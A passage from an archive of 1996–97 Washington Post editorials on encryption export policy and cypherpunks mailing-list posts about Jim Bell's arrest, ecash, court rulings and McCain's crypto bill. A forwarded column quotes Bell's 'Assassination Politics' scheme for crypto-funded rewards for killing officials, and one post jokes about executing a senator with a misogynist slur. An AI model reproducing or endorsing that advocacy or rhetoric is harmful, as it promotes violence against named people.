   a licensed "key management" authority -- with the licensing to be done
   by the government. Like the administration's international policy,
   this bill envisions the development of whole new government-regulated
   industries for key management, retrieval and authentication. This
   meets the needs of domestic law enforcement agencies, which could get
   the keys with an ordinary subpoena, but at a considerable cost to the
   consumer confidence that would be expected to drive a market in
   encryption software to begin with.
   
   What you think of these bills has a good deal to do with how you think
   the worlds of electronic commerce and networked communal life will
   develop -- and, of course, no one knows. Even the most enthusiastic
   boosters of the right to encryption concede that very few people
   actually use it yet. Electronic commerce itself has yet to take real
   shape. The main force shaping the Internet for now continues to be the
   perception -- not to mention fear -- of the all-too-likely prospect
   that anyone who wants to can snoop around in the stacks of your most
   private data, which are constantly accumulating in unknown files.
   
----------

   The Washington Post, June 10, 1996, p. A18.


   Global Village Cops?


   What will be the long-term effect of Internet technologies
   on global law enforcement? The amazing story of Bill and
   Anna Young, a k a Leslie Rogge and Judy Kay Wilson, offers
   one possible scenario. The pseudonymous Youngs, residents
   of Guatemala who the FBI says have been on a decade-long
   run from U.S. justice since Mr. Rogge was convicted of a
   string of bank robberies and other offenses, turned
   themselves in to authorities after a neighbor recognized
   Mr. Rogge's face on the FBI home page's Most Wanted list.
   According to a story first told in the Guatemala Weekly,
   the person who recognized him was a newly Internet-wired
   14-year-old.

   The vision of the future evoked by this story, of a world
   in which the familiar "global village" becomes a place not
   just of instant communication but of neighborly nosiness
   and where no one can just melt into the crowd, is
   reassuring and unnerving in about equal proportions. (What
   if it were a network of hit men or an authoritarian
   government seeking a dissident, rather than the FBI, making
   use of this powerful technology?) But it's also worth
   keeping in mind that, other than the romance of the
   technology, it doesn't represent that great an advance on
   current global media that have made celebrities or
   fugitives' faces familiar to a vast public -- just ask
   Salman Rushdie. The Rogge nabbing is the first that the FBI
   credits to its home page specifically, but TV's "America's
   Most Wanted" has scored similar coups.

   The impossibility of predicting the exact shape of these
   extensions of policing is relevant as well to a report that
   the National Research Council recently issued on another
   computer technology issue -- the vexed matter of whether to
   ease export controls on encryption software, which encodes
   information sent electronically so that only a user with a
   key can decipher it.

   The government until now has resisted lifting controls on
   "uncrackable" encryption software --  that is, codes that
   are too complex to be broken by brute force -- unless the
   industry agrees to deposit keys in an escrow arrangement
   with a third party so the government can seek and obtain a
   warrant to read encoded communications if necessary.
   Software makers, meanwhile, are pushing hard to have these
   restrictions eased. The research council, an arm of the
   generally neutral National Academy of Sciences, sought to
   bridge the gap between industry interests and such
   government agencies as the FBI and national security
   agencies, whose case, they say, is based largely on
   classified matter that can't be publicly discussed.

   Part of the report's conclusion, which favors the easing
   though not the abolition of current restrictions, is that
   wider use of encryption technology will actually *help*
   national security and law enforcement because more data,
   economic and otherwise, will be secure to begin with. But
   if the news of the changing terrain tells anything, it is
   that it is far too soon to base arguments on such a
   premise. Our own sense on encryption is that the national
   security and law enforcement questions remain too important
   to be sacrificed lightly, despite the considerable economic
   interests of the parties on the other side. But the world
   of Internet law enforcement is still taking shape. Whatever
   the public conclusion on encryption, the debate should not
   rest on any assumptions about what that shape will be.

-----------

>   The Washington Post, July 27, 1996, p. A22. 
> 
> 
>   Speaking in Code on the Internet ... [Editorial] 
> 
> 
>   The decibel level has been rising in the argument over how 
>   much control the federal government should have over the 
>   export of encryption technology. The Senate Commerce 
>   Committee held hearings Thursday on a proposal dubbed 
>   Pro-CODE (Promotion of Commerce On-line in the Digital Era) 
>   that would lift current restrictions on exporting 
>   encryption software above a certain level of complexity. 
>   The move is opposed strongly by law enforcement and 
>   national security authorities, who fear the consequences to 
>   their tracking of terrorism or crime if uncrackable 
>   cryptography becomes the global standard. 
> 
> 
>   But encryption software -- which scrambles a person's 
>   computer messages so no one can read them without a key -- 
>   also is thought by many in the computer industry to be the 
>   missing piece that's preventing customers from a full-scale 
>   move to the Internet for banking and other confidential 
>   transactions, rather than, as now, worrying about the 
>   security of their data. They also see it as a market in 
>   which the United States maintains a comfortable lead, one 
>   that is threatened if domestic encryption makers can't sell 
>   their products elsewhere. The makers argue that foreign 
>   encryption software will rush in to fill the gap, doing 
>   nothing about the uncrackability problem -- indeed, making 
>   it worse. The administration in turn is pursuing a wider 
>   international agreement to maintain controls on cryptology 
>   export by all the industrialized nations and has been 
>   putting pressure on its colleagues in the Organization for 
>   Economic Cooperation and Development, which will rule on 
>   the matter in a Paris meeting in September. 
> 
> 
>   Administration officials, including FBI chief Louis Freeh, 
>   have been pushing for an alternative policy of "voluntary 
>   key escrow" -- encryption makers would deposit a key to the 
>   code with a neutral third body before exporting the 
>   products and could then have access to the codes only by 
>   court order, as happens now with wiretapping. Mr. Freeh, 
>   testifying at Thursday's hearing in favor of an optional 
>   key escrow plan, noted that the point is not to prevent all 
>   copies of uncrackable code from going abroad --  that's 
>   clearly impossible -- but to prevent such high-level code 
>   from becoming the international standard, with architecture 
>   and transmission channels all unreadable to world 
>   authorities. To software companies and Internet users who 
>   have been clamoring for the right to encrypt as securely as 
>   possible, Mr. Freeh and others argue, "the genie is not yet 
>   out of the bottle" on "robust," meaning uncrackable, 
>   encryption. 
> 
> 
>   It's far from obvious to anyone that an optional escrow 
>   plan really can prevent the growth of inaccessible 
>   transmissions by international terrorists or criminals. 
>   Encryption, if widely used, could conceivably ease some 
>   privacy problems concerning who gets to see personal and 
>   financial data on individuals -- though such data usually 
>   are vulnerable to being dug out of storage rather than 
>   intercepted in transmission. But neither is it clear that 
>   the encryption enthusiasts' desire for free development 
>   should take precedence over the tracking of terrorism. At 
>   the very least, Congress should be exceedingly cautious 
>   about getting out ahead of administration concerns on 
>   controls that, once lifted, are hardly reversible. 

----

   The Washington Post, October 4, 1996, p. A22. 

   Crypto Politics [Editorial] 


   The Clinton administration once had a coherent, if 
   unpopular, position on encryption software, the stuff that 
   allows you to encode your email messages or other data so 
   that no one can read it en route without a key. Now, in the 
   wake of word that the president will sign an executive 
   order, the position is no longer coherent, nor discernibly 
   more popular with the high-tech audience it attempts to 
   mollify. 

   People and companies doing international financial business 
   are highly interested in this kind of software, the more 
   powerfully "uncrackable" the better. The U.S. software 
   industry thinks there's a lot of money in it, especially if 
   encryption becomes routine. 

   The administration position till recently was that, much as 
   U.S. software companies might profit from being able to 
   market "uncrackable" encryption software freely, national 
   security and law enforcement considerations dictated that 
   such exports be controlled by license. Powerful encryption, 
   like arms, could be dangerous in the hands of terrorists, 
   rogue governments or international criminals. The software 
   was classed as a munition; software above a certain 
   uncrackability level could not be exported unless law 
   enforcement authorities could get access somehow to the 
   "key" after obtaining the proper warrants. 

   Unbreakable codes on the loose strike us as a real danger, 
   a legitimate reason for tight export controls. But if the 
   administration really believes this, you'd think it would 
   stick with steps that can plausibly meet the goal of 
   control. 

   Instead, trying to please, it has been splitting and 
   splitting the difference between itself and the largely 
   unmoved industry, which argues that no one will buy an 
   encryption product that a government can decrypt at will. 
   As with arms sales, the companies also argue that if they 
   don't sell it, somebody else will, and that anyway it's far 
   too late to fence off rogues. The national security people 
   respond that there is still a "window," perhaps two years, 
   in which they can prevent, if not all leaks of unauthorized 
   crypto technology, at least its off-the-shelf use and wide 
   adoption as the international standard. 

   The administration initially proposed, then repeatedly 
   refined, the concept of key "escrow" -- depositing a copy 
   of the code with trusted third parties -- but never came up 
   with a version the industry would accept. It commissioned 
   a National Research Council report, which recommended a 
   significant easing of restrictions. Now the president 
   appears to have embraced a yet looser form of licensure 
   upon declaration by a company that it will develop a plan 
   within two years for key recovery. Also, the technology no 
   longer will be considered munitions. 

   What kind of plan? Nobody can quite say. What if the plans 
   aren't acceptable? Licensing will revert to the old rule in 
   two years. Will the security issue be moot by then? 
   Probably. Barring some burst of clarity, one is left 
   wondering whether the administration has compromised or 
   caved, and what it now believes about the dangers of 
   exporting uncrackable software. 


----------
                                      
Showdown on Encryption
                 
   
   Sunday, May 25 1997; Page C06
   The Washington Post
   
   AFTER A YEAR'S rumbling, Congress seems ready to mount a direct
   challenge to the administration's position on encryption, the sticky
   issue of how to handle software that creates, for commercial use,
   codes too strong to break. The House Judiciary Committee the other day
   passed a bill dubbed Security and Freedom Through Encryption, or SAFE,
   which would undo existing curbs on the export of "uncrackable"
   encryption technology abroad without a license. The administration has
   fought to maintain those curbs against increasing pressure from the
   manufacturers of such software and from a loose but growing coalition
   of privacy and civil liberties groups. A similar bill is pending in
   the Senate.
   
   The administration maintains that the sellers of software capable of
   encrypting electronic messages to a complexity beyond ready cracking
   shouldn't sell it abroad -- or, if they do, should be prepared to
   deposit keys to the codes with trusted commercial third parties at
   home. Police or national security authorities could get these keys
   with a search warrant or court order, as in normal investigations, and
   a market would develop to provide the third-party service of holding
   them.
   
   This vision of a worldwide "key management" structure is a clever way
   to reconcile two otherwise contradictory desires: the desire of
   Internet users for absolute security and privacy in electronic
   transactions and the government's desire to prevent criminals and
   terrorists from making themselves impregnable to a degree never before
   seen. "Key management" does not, however, exist. And the
   administration has gone so far toward undercutting its own position --
   saying key escrow should be voluntary, trying to accommodate industry
   with numerous exemptions, licensing uncrackable software separately
   for banks -- that it's not clear it ever will exist.
   
   Meanwhile, the once-obscure drive to make unlimited-strength
   cryptography available to all has picked up momentum -- and some odd
   allies. Phyllis Schlafly was among those who testified in favor of the
   SAFE bill, saying it would protect Americans from unprecedented
   government intrusion and the FBI reading their mail. Libertarian
   groups such as Americans for Tax Freedom are enthusiastic about the
   vision of a world where powerful, widely available encryption renders
   communications totally safe.
   
   The odd part is that there currently are no restrictions on use of
   uncrackable encryption software within this country. The software
   industry has argued that the export control makes for a de facto
   domestic curb, because it's too complicated to market a full-strength
   version for the domestic market and a weaker one for the foreign
   market. But this isn't a very persuasive argument, since most popular
   software programs exist in dozens of versions for different markets
   and in different languages.
   
   The real question is whether you believe this stuff poses a
   significant national security threat in the wrong hands. If you do --
   and we think it irresponsible to assume otherwise -- then it's not
   enough to declare uncrackable privacy a civil right. You have to at
   least address the question of how to minimize intrusion into that
   right while preserving some ability to grapple with the potential
   danger. Neither the SAFE advocates in Congress nor the
   administration's voluntary escrow enthusiasts up to now have laid out
   that vision in a convincing way.

###










From declan at pathfinder.com  Sun Jun 22 21:27:14 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Mon, 23 Jun 1997 12:27:14 +0800
Subject: Canarypunk: Jim Bell in a coalmine
In-Reply-To: <199706230158.DAA25236@basement.replay.com>
Message-ID: 



Interesting theory, but unfortunately untrue. Bell is not being held
incommunicado. His mother told me she sees him regularly, if not daily.
His lawyer talks to him. He's able to make collect calls, like most
prisoners.

Hardly "incommunicado."

-Declan

PS: Note I'm not defending holding Bell without bail.


On Mon, 23 Jun 1997, Anonymous wrote:

> Free speech - Unless Govt. doesn't like it
> 
> From           talltom <"talltom(SPAMBLOCKER)"@ipns.com>
> Organization   Alternate Access Inc.
> Date           Sat, 21 Jun 1997 19:23:39 -0700
> Newsgroups     or.politics
> Message-ID     <33AC8CAB.199F at ipns.com>
> 
> This is in reference to a local, that's being held incommunicado
> in Tacoma. I've personally tried to contact Jim and the Marshalls 
> office said they'd "try" to get a message to him, wouldn't give me an 
> address, and were REALLY interested in my address.
> 
>  I believe the reason for holding Jim incomunicado is that the ACLU
> requires that the accused ask them for help, and the feds know that
> if Jim can't ask he won't get their help.
> 
> Vin covers the situation nicely...
> 
> [Vin Suprynowicz column:]
> 
>     In the summer of 1995, 39-year-old electronics engineer Jim Bell of
> Vancouver, Wash. (coincidentally the scene of the climactic battle 
> between militia and central government forces in Ian Slater's current 
> potboiler paperback "Showdown: U.S.A. vs. Militia,") penned an intriguing 
> and controversial essay called "Assassination Politics," which has since 
> been kicking around various Internet discussion groups, triggering 
> responses from delight to outrage.
> 
>   This section from Mr. Bell's introduction gives the gist:
> 
>   "A few months ago, I had a truly and quite literally 'revolutionary'
> idea, and I jokingly called it 'Assassination Politics': I speculated on
> the question of whether an organization could be set up to legally 
> announce that it would be awarding a cash prize to somebody who correctly
> 'predicted' the death of one of a list of violators of rights, usually
> either government employees, officeholders, or appointees. It could ask 
> for anonymous contributions from the public, and individuals would be able 
> send those contributions using digital cash.
> 
>   "I also speculated that using modern methods of public-key encryption 
> and anonymous 'digital cash,' it would be possible to make such awards in 
> such a way so that nobody knows who is getting awarded the money, only that 
> the award is being given. Even the organization itself would have no
> information that could help the authorities find the person responsible 
> for the prediction, let alone the one who caused the death. ...
> 
>   "Obviously, the problem with the general case is that the victim may be
> totally innocent under libertarian principles, which would make the 
> killing a crime, leading to the question of whether the person offering the 
> money was himself guilty.
> 
>   "(But) my speculation assumed that the 'victim' is a government 
> employee, presumably one who is not merely taking a paycheck of stolen tax 
> dollars, but also is guilty of extra violations of rights beyond this. 
> (Government agents responsible for the Ruby Ridge incident and Waco come 
> to mind.) In receiving such money and in his various acts, he violates the
> 'Non-aggression Principle' (NAP) and thus, presumably, any acts against 
> him are not the initiation of force under libertarian principles.
> 
>   "The organization set up to manage such a system could, presumably, 
> make up a list of people who had seriously violated the NAP, but who would 
> not see justice in our courts due to the fact that their actions were done 
> at the behest of the government. ..."
> 
>   In a followup essay titled "Fishing Expedition Swims Against the Tide,"
> published in the May 14 edition of the daily Portland Oregonian, Bell
> wrote, in part:
> 
>   "... I've been openly debating the idea on the Internet since then with
> anyone who will listen. My essay surprises many and shocks more than a
> few, but I am pleased that such a truly revolutionary concept has been so
> well received. Even the Columbian newspaper (www.columbian.com) has 
> decided to add a pointer to the essay.
> 
>   "The only 'threat' in the essay is to the jobs of the people who have
> been parasites on the rest of us for decades, as well as to the future of
> tyrannies around the world.  But that's why, on April 1, 20 federal 
> agents burst in and took my computer, told the news media I was 'armed and
> dangerous,' and began engaging in a fishing expedition including 
> harassing people simply for knowing me. (No arrest or charges so far.) ..."
> 
>   The charges were forthcoming.
> 
>   Jim Bell was arrested on Friday, May 16, and has been held ever since,
> without bond, in the Pierce County Jail in Tacoma, Wash., on a federal
> complaint which alleges:
> 
>   "Beginning at a time unknown, and continuing to the present, ... JAMES
> DALTON BELL did corruptly obstruct and impede ... the due administration 
> of the internal revenue laws, among other things, by collecting the names 
> and home addresses of agents and employees of the Internal Revenue Service
> ('IRS') in order to intimidate them in the performance of their official
> functions; by soliciting others to join in a scheme known as 'Assassination
> Politics' whereby those who killed IRS employees would be rewarded; by
> using social security account numbers that were not assigned to him to 
> hide his assets and thereby impede the IRS's ability to collect his unpaid
> taxes, and by contaminating the area outside of the office of the IRS in
> Vancouver, Washington, with mercaptan, a chemical that causes a powerful
> odor."
> 
>   Nor does the complaint stop short with an alleged "stink bomb" floor 
> mat, proceeding to allege that Mr. Bell has at times discussed poisoning 
> water supplies, sabotaging government computers, and, well ... 
> "overthrowing the Government of the United States."
> 
>   The question here would appear to be whether Mr. Bell has actually 
> taken substantive steps, as alleged, to "implement" the theory in his 
> speculative Internet essay, or whether it is the IRS -- who since Feb. 20 
> have seized the heretofore non-violent Mr. Bell's car, wages and bank 
> accounts (presumably stymying at the very last minute his plan to 
> "overthrow the Government of the United States") -- who are doing the 
> "threatening and intimidating," in an attempt to send a message to anyone 
> who dares speculate about how justice might ever be obtained against 
> federal agents ... given that they are rarely if ever indicted, even for 
> the willful murder of children, as at Waco and Ruby Ridge.
> 
>   If the defendant Bell has indeed taken substantive steps to set in 
> motion the murder of any specific government agent, that of course is a 
> crime, for which he should expect to face the consequences.
> 
>   On the other hand, if writings of the "what if someone ..." variety 
> have now become a felony so serious that one can be seized and held 
> without bond, most of America's adventure and science fiction writers -- 
> who up till now have felt safe spinning thinly-veiled yarns about 
> near-future government coups and such -- had better watch their 
> backsides.
> 
>   Mr. Bell's attorney, Peter Avenia of the Public Defenders Office in
> Tacoma, says he fully expects Mr. Bell to be indicted by a federal grand
> jury within the next few weeks.
> 
>   I asked Mr. Avenia if he believes the case will present substantive 
> First Amendment questions.
> 
>   "It certainly does concern me."
> 
>   Is the IRS making an example of Mr. Bell, to chill any further
> discussions on the Internet of how justice can ever be had in the case of
> uniformed killers who apparently need no longer fear being indicted or
> brought to trial in this country?
> 
>   "It's certainly a possibility. In the context of the Oklahoma City
> bombing it's certainly a hostile atmosphere for any such defendant. I 
> think we can certainly ask whether the government is trying to send a 
> message to people who pen inflammatory writings."
> 
>   Defense attorney Avenia can be reached at the Federal Public Defenders
> Office, 1551 Broadway, Suite 501, Tacoma, Wash. 98402. The essay
> "Assassination Politics" is available on the Internet at
> http://jya.com/ap.htm. The current federal complaint against Mr. Bell can
> be found at http://jya.com/jimbell3.htm
> 
> Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
> Review-Journal. Readers may contact him via e-mail at vin at lvrj.com. The 
> web site for the Suprynowicz column is at http://www.nguworld.com/vindex/
> 
> ***
> 
> Vin Suprynowicz,   vin at lvrj.com
> 
> Voir Dire: A French term which means "jury stacking."
> 
> 
> 






From jeremey at bluemoney.com  Sun Jun 22 21:55:22 1997
From: jeremey at bluemoney.com (Jeremey Barrett)
Date: Mon, 23 Jun 1997 12:55:22 +0800
Subject: CP uses for the PGP 5.0 source
In-Reply-To: 
Message-ID: <3.0.1.32.19970622214729.007d8550@descartes.bluemoney.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 05:05 PM 6/22/97 -0700, Lucky Green wrote:
>>ECash could really supply an economic shot in the arm for remailers, making
>>possible commercial (read profitable) remailers.  It will also offer a
>>ready-made market for accountless ecash, which will be available soon.
>>Jeremey Barrett's higher level ecash API should greatly simplify ecash
>>integration.
>
>Amen. What's the ETA?
>

The API as it stands is done, and tested fairly well on linux and bsdi.
Over the next week or two I have more to add though, and have to do some
porting, notably to windoze. But that's roughly the ETA. I think I'm gonna
set up some sort of mailing list for it, I'll post details.

BTW, I think the API header made it's way to this list a couple weeks ago,
but if people want to know what to expect, lemme know.

Regards,
Jeremey.

-----BEGIN PGP SIGNATURE-----
Version: 5.0
Charset: noconv

iQCVAwUBM63/4C/fy+vkqMxNAQE6JgQAls4T8T9N5wUSdEHY1HNE/ZBfkJJobOhL
7Z2ycP+mEj5dMnOy5Uekwz2sni30BeNAaByunjhd02VMl0otkeyORdIcpn4qvztT
cNUdEDpYnBaB6SGGAaXkXHDc9Ta/PedsPHjB3XfQz1XrIxgSbx4YzHNBbIOwtizh
mrDAxcTZYdI=
=GpwS
-----END PGP SIGNATURE-----

--
Jeremey Barrett                                BlueMoney Software Corp.
Crypto, Ecash, Commerce Systems               http://www.bluemoney.com/
PGP key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64






From declan at well.com  Sun Jun 22 21:56:41 1997
From: declan at well.com (Declan McCullagh)
Date: Mon, 23 Jun 1997 12:56:41 +0800
Subject: Excerpts from New York and Georgia court decisions
Message-ID: 





---------- Forwarded message ----------
Date: Sun, 22 Jun 1997 21:46:12 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship-announce at vorlon.mit.edu
Subject: Excerpts from New York and Georgia court decisions

----------

http://www.aclu.org/court/nycdadec.html

ALA v. Pataki Decision

Thus, as will be discussed in more detail below,
the New York Act is concerned with interstate
commerce and contravenes the Commerce Clause for
three reasons. First, the Act represents an
unconstitutional projection of New York law into
conduct that occurs wholly outside New York.
Second, the Act is invalid because although
protecting children from indecent material is a
legitimate and indisputably worthy subject of
state legislation, the burdens on interstate
commerce resulting from the Act clearly exceed
any local benefit derived from it. Finally, the
Internet is one of those areas of commerce that
must be marked off as a national preserve to
protect users from inconsistent 'legislation
that, taken to its most extreme, could paralyze
development of the Internet altogether. Thus,
the Commerce Clause ordains that only Congress
can legislate in this area, subject, of course,
to whatever limitations other provisions of the
Constitution (such as the First Amendment) may
require. [...]

The inescapable conclusion is that the Internet
represents an instrument of interstate commerce,
albeit an innovative one; the novelty of the
technology should not obscure the fact that
regulation of the Internet impels traditional
Commerce Clause considerations. The New York Act
is therefore closely concerned with interstate
commerce, and scrutiny of the Act under the
Commerce Clause is entirely appropriate. As
discussed in the following sections, the Act
cannot survive such scrutiny, because it places
an undue burden on interstate traffic, whether
that traffic be in goods, services, or ideas.
[...]

The State vigorously argues that its low was
designed to avoid the constitutional pitfalls
presented by the CDA; however, the New York Act
was clearly modelled on the CDA, and numerous
provisions of the New York Act mirror their
federal counterparts. [...]

I believe any determination of plaintiffs' First
Amendment challenge should therefore await the
guidance to be provided by the Supreme Court's
forthcoming opinion.

-----------

http://www.efga.org/hb1630/preliminary_injunction.html

AMERICAN CIVIL LIBERTIES UNION OF GEORGIA v.
ZELL MILLER, et al.,

Defendants allege that the statute's purpose is
fraud prevention, which the Court agrees is a
compelling state interest. However, the statute
is not narrowly tailored to achieve that end and
instead sweeps innocent, protected speech within
its scope. Specifically, by its plain language
the criminal prohibition applies regardless of
whether a speaker has any intent to deceive or
whether deception actually occurs. Therefore, it
could apply to a wide range of transmissions
which "falsely identify" the sender, but are not
"fraudulent" within the specific meaning of the
criminal code. [...]

The Court concludes that the statute was not
drafted with the precision necessary for laws
regulating speech. On its face, the act
prohibits such protected speech as the use of
false identification to avoid social ostracism,
to prevent discrimination and harassment, and to
protect privacy, as well as the use of trade
names or logos in non-commercial educational
speech, news, and commentary--a prohibition with
well-recognized first amendment problems. [...]









From rwright at adnetsol.com  Sun Jun 22 22:13:55 1997
From: rwright at adnetsol.com (Ross Wright)
Date: Mon, 23 Jun 1997 13:13:55 +0800
Subject: Bomb-making instructions....
Message-ID: <199706230501.WAA06981@adnetsol.adnetsol.com>



On or About 22 Jun 97 at 20:32, Tim May wrote:

>The latest crime for which Senator Diane Swinestein has earned the
>[CENSORED] is her "bomb-making instructions on the Internet are illegal"
>bill.

> We need to hold a trial for this bitch. Then a quick trip to the
> firewall.

Tim:

That's "Murderous, Boss Killing Bitch", please.  Spam is free speech.

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795






From stewarts at ix.netcom.com  Sun Jun 22 23:11:29 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 23 Jun 1997 14:11:29 +0800
Subject: spam on this list
In-Reply-To: 
Message-ID: <3.0.2.32.19970622224904.0077c668@popd.ix.netcom.com>



At 11:26 AM 6/23/97 +1000, Jason William RENNIE wrote:
>NO i dont wish to post any, i just want to know if this list has spam 
>sent to it ?? I started reciveing various pieces in the last couple of 
>days and i'm trying to identify the source. 

Once in a while it gets spam; usually a couple of pieces a week.
When it does, you can look in the mail headers and you'll see
"cypherpunks", since it really is going though the mailing list.
I'm not aware of any direct spam that I've received as a result
of being on the list, but it could have happened.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From blancw at cnw.com  Sun Jun 22 23:59:53 1997
From: blancw at cnw.com (Blanc)
Date: Mon, 23 Jun 1997 14:59:53 +0800
Subject: Canarypunk: Jim Bell in a coalmine
Message-ID: <3.0.32.19970622234946.00af1174@cnw.com>



At 02:38 PM 6/22/97 -0400, Robert Hettinga wrote:

>Admittedly, this is a distraction from the most important thing, which is
>writing code, but I bet that there are in fact cypherpunks-who-don't-code
>in Bell's neighborhood, and not necessarily even Friends of Jim, who would
>be happy to personally go see how Bell is doing and come back and tell us
>what happened. Think of it as part of the feedback loop for net.freedom. A
>trip into the coal mine with a canary cage.
>
>Yeah, I know. It's me making work for someone else. Nonetheless: Anyone out
>there want to do this?
............................................................................
.....


I live about an hour's drive from Tacoma.   I'm not too enthused about
taking such a lengthy trip just to go see how Mr. Private Assassinations is
doing, but - taking after your own methods, Robert - I'd be glad to do it
in exchange for a trip to Anguilla next Feb.  :>)

(You know, it is true that having friends in times of stress, like when
you're sitting in jail, is good for the soul, but on the other hand one
must give credit to Jim for his having created his own situation.   He did
provoke the government types into suspicions about him and he must have
known that distributing his AP ideas,  containing such apparent potential
for being translated into reality, would make him a grand target.   When
you do things like that, you ought to consider what you're going to do when
"they" come after you.   He afterall is quite aware of the atmosphere in
which we live and how fragile is the relationship (if it can be called
that) which civilians have with the local military saviors which daily
protect us from ourselves.)

Having said that, I'll consider the possibility, if visitors are allowed on
weekends.   Perhaps several cpunks could go (if anyone else around here
interested? (Wei, Joel, I know you're just dying to go )), if more than
one visitor at a time is allowed . 
  

    ..
Blanc






From blancw at cnw.com  Mon Jun 23 00:03:25 1997
From: blancw at cnw.com (Blanc)
Date: Mon, 23 Jun 1997 15:03:25 +0800
Subject: Canarypunk: Jim Bell in a coalmine
Message-ID: <3.0.32.19970622235138.00aeb954@cnw.com>



At 02:38 PM 6/22/97 -0400, Robert Hettinga wrote:

>Admittedly, this is a distraction from the most important thing, which is
>writing code, but I bet that there are in fact cypherpunks-who-don't-code
>in Bell's neighborhood, and not necessarily even Friends of Jim, who would
>be happy to personally go see how Bell is doing and come back and tell us
>what happened. Think of it as part of the feedback loop for net.freedom. A
>trip into the coal mine with a canary cage.
>
>Yeah, I know. It's me making work for someone else. Nonetheless: Anyone out
>there want to do this?
............................................................................
.....


I live about an hour's drive from Tacoma.   I'm not too enthused about
taking such a lengthy trip just to go see how Mr. Private Assassinations is
doing, but - taking after your own methods, Robert - I'd be glad to do it
in exchange for a trip to Anguilla next Feb.  :>)

(You know, it is true that having friends in times of stress, like when
you're sitting in jail, is good for the soul, but on the other hand one
must give credit to Jim for his having created his own situation.   He did
provoke the government types into suspicions about him and he must have
known that distributing his AP ideas,  containing such apparent potential
for being translated into reality, would make him a grand target.   When
you do things like that, you ought to consider what you're going to do when
"they" come after you.   He afterall is quite aware of the atmosphere in
which we live and how fragile is the relationship (if it can be called
that) which civilians have with the local military saviors which daily
protect us from ourselves.)

Having said that, I'll consider the possibility, if visitors are allowed on
weekends.   Perhaps several cpunks could go (if anyone else around here
interested? (Wei, Joel, I know you're just dying to go )), if more than
one visitor at a time is allowed . 
  

    ..
Blanc






From stewarts at ix.netcom.com  Mon Jun 23 01:38:52 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 23 Jun 1997 16:38:52 +0800
Subject: McCain Talks Crypto
In-Reply-To: <3.0.2.32.19970621204242.04307430@mail.teleport.com>
Message-ID: <3.0.2.32.19970623012309.030e9548@popd.ix.netcom.com>



At 08:42 PM 6/21/97 -0700, Alan Olsen wrote:
>This guy needs to connect to a clue server soon before it is too late...

>http://www.wired.com/news/politics/story/4588.html           
>           McCain Talks Crypto          by Todd Lappin 
>
>           6:04pm  20.Jun.97.PDT Just got off the phone with Senator
>           John McCain. 
>...  Despite the fact that his bill cuts
>           the legs from under Pro-CODE - a bill by Montana
>           Republican Conrad Burns that would scrap the
>           export controls - McCain said he's eager to negotiate
>           on the issues. 
>
>           Here are the highlights of our 5-minute conversation
>           - during which a certain two-word term was repeated
>           again and again. Let's see if you can spot it. 
>
>           On the rationale behind S909:
>           "I've always said that national security is a primary
>           concern - and based on my own experience [nearly
>           six years as a Vietnam POW], I've had a lot of time to
>           consider how important that really is." 
>           "... I'm astonished that any industry would consider
>           their priorities to be so important that they override
>           national security concerns." 
>
>           On the rival Pro-CODE bill:
>           "I'm all for Pro-CODE - except for its impact on
>           national security. 
>
>           On the future:
>           "I promise you, now that we've adopted this
>           legislation, we will sit down and work this out with all
>           the parties involved. As I've said before, from a

Sigh.  Make the laws and then work out the details -- I don't think so :-)

However, if his real concern IS national security, then perhaps
he can be reached - not only is our real national security based on
the economy, but any vaguely competent foreign government or
major terrorist organization has access to all the crypto they need:
unlike fully assembled missiles and plutonium, which are hard to get and
hard to smuggle across borders, crypto is easy to buy anywhere in the US,
and the Enemies Of The State just have to take one copy out, by laptop,
by floppy disk, by modem, or by satellite, and you've lost control.

I assume he knows he's using the child pornography excuse as a 
cynical play to the media - the obvious response is that 
	McCain's Pro-Forgery Bill
by making good crypto tools less available, and by making sure
that people will choose to get their important digital certificates
from multiple CAs and non-US-controlled CAs, or just go uncertified,
will make it forgery more common and digital signatures less trusted.
So  your kids are more likely to have fake IDs
like we did to drink when we were younger and 
that'll lead to more pornography on the net, imported from foreign
countries that have lower standards than our fine American communities, and...


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From tien at well.com  Mon Jun 23 02:07:25 1997
From: tien at well.com (Lee Tien)
Date: Mon, 23 Jun 1997 17:07:25 +0800
Subject: recoverability
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Although there is still talks much about key escrow/mgmt/recovery, the
policy on KMI recoverable products appears to be framed in terms of
plaintext recovery.  E.g., at a BXA crypto reg seminar, the handout used
the following def'n:

"Products which allow government officials to obtain, under proper legal
authority and without the cooperation or knowledge of the user, the
plaintext of the encrypted data and communications."

Lee


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM645jbk2KqHYSFEtEQKFIQCbBiazwaIWeWM28iLHOKIInzCj+nAAn3oj
9OddweX2M+fIa47cigevhiR1
=YuHD
-----END PGP SIGNATURE-----






From tien at well.com  Mon Jun 23 02:07:32 1997
From: tien at well.com (Lee Tien)
Date: Mon, 23 Jun 1997 17:07:32 +0800
Subject: McCain's War for Security
In-Reply-To: <1.5.4.32.19970622192626.006d1514@pop.pipeline.com>
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Correct me if I'm wrong, but wasn't there also stuff in the article about
how McCain had been badly stung by some "ethics" problem, which apparently
was not really very serious but disturbed him personally and tainted his
image?

I am remembering vaguely reading somewhere that he felt his integrity had
been impugned (by all accounts he had long been considered above reproach)
and that he was as a result "on the warpath" to restore his image.

If that's a correct remembering, then that sense of a need to restore his
image may have made McCain a perfect target for "a treatment" by a clever
